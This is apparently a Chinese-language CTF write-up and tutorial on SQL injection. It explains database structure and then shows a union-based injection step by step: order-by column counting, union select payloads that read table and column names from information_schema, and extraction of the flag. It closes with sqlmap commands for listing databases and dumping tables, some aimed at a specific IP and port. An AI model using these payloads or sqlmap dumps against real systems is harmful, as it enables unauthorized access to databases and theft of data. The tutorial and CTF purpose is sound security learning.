SQL注入从入门到入土
字段:每个变量叫做字段
列: 多个字段
行:一个数据行简称一行
结果集:SQL查询中的最终数据结果
正常情况下无论是实战还是攻防比赛都不会给普通用户drop,delete等删库权限命令,只有信任用户和管理员才有权限执行这种危险命令!!!!!
数据库是一种结构化的数据存储系统,用于有效地组织、存储和管理大量的数据。数据库通常由一个或多个数据表组成,每个数据表包含多个行和列

如图,这里面有6个数据库,information_schema,mysql,performance_schema等
数据库下面存在多张表(拿performance_schema举例)

表里面存在列

这里的USER HOST EVENT_NAME等都是列名,列下面储存着数据
比如说SQLite和Mysql的数据库语言和系统结构都不一样
SQL 注入就是指 Web 应用程序对用户输入的数据合法性没有过滤或者是判断,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来执行一些恶意程序或执行非授权的任意查询。

注意到url上有?id=1,很明显的sql注入类型

第id=3的时候发现有提示可以在url后加上&tips=1获得提示

在id=3后面加上’后无回显,可能发生了报错,基本可以判断为字符型注入
判断数据库字段
可以用order by 语句盘半段注入点sql语句差选的列数是多少
order by 排序超过查询结果列数的时候就会抛出错误,故可以使用它来判断前一条 select 语句查询结果
比如说在该题中order by 3的时候没报错,而order by 4报错了说明
SQL语句的参数是三个

确认完显示位可以利用显示位查询下数据库信息,如数据库版本、当前数据库名、
联合查询是使用 union 或者 union all 拼接两条 select 语句来进行查询注入方式
例如1’union select 1,version(),database()–+&tips=1
获取数据库名称
通过联合查询和关键函数database()获取数据库名称。

经过测试发现回显在2和3

由于我们的语句是插入到原有语句后面,这样就会出现两个SQL语句同时执行,由于SQL查询默认返回一
行数据,所以我们插入的第二行语句的结果就不会被返回,只会返回原有的SQL语句的查询内容。
要让数据库查询我们插入的语句,需要让原有SQL语句查询为空。
官方点的定义叫:UNION的作用是将两个select查询结果合并,以union关键字分隔,而程序在展示数
据的时候通常只会取结果集的第一行数据,这就让联合注入有了利用的点。
当查询的数据置为-1,那第一行的数据为空,第二行自然就变为了第一行
所以我们可以使 id=0 或 id=-1 ,零或负数不会被用作id值,它插入进去一定导致原有SQL语句查询结果 为空,我们插入的SQL语句的结果就会被返回。
id=0′ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+&tips=1
union select 1,2,group_concat(table_name)
他的作用可以将多行结果合并为一个字符串,因为默认只能回显出一个结果,当一次注入出现多个结果时可能会报错,这个时候可以用group_concat()函数一次打印出多个结果,并用逗号隔开
from information_schema.tables where table_schema=database()
筛选出属于当前数据库的表(也就是note数据库)

结果是有一个fl4g和notes的表,flag大概率在fl4g的表里
?id=0′ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’fl4g’–+&tips=1
无非就是在最后的查找目标中多了一句and table_name=’fl4g’
意思就是限制只查询fl4g下的列

?id=-4′ union select 1,2, group_concat(fllllag) from fl4g –+&tips=1
主播主播,你的sql注入的确很强,但是还是太迟操作了,有没有更简单更强势的工具推荐一下呢
也就是说不需要那么多繁琐的注入步骤直接爆出数据库,表名,列名
- python sqlmap.py -u “https://xxx/?id=1&username=1” –dbs # 查询所有数据库
- python sqlmap.py -u “https://xxx/?id=1&username=1” -D test –tables # 查询test数据库下所有表
- python sqlmap.py -u “https://xxx/?id=1&username=1” -D test –schema # 查询test数据库下所有表结构
- python sqlmap.py -u “https://xxx/?id=1&username=1” -D test -T f1ag_table –column # 查询test数据库
- 中f1ag_table表的列python sqlmap.py -u “https://xxx/?id=1&username=1” -D test -T f1ag_table –dump # 获取f1ag_table表的内容
- python sqlmap.py -u “https://xxx/” –data “id=1” –dbs # 传输POST参数python sqlmap.py -u “https://xxx/” –all # 获取所有信息

python sqlmap.py -u http://27.25.151.45:33162/?id=1 –dbs

python sqlmap.py -u http://27.25.151.45:33162/?id=1 -D note –tables

python sqlmap.py -u http://27.25.151.45:33162/?id=1 -D note -T fl4g –dump








听不懂思密达,我玩c++的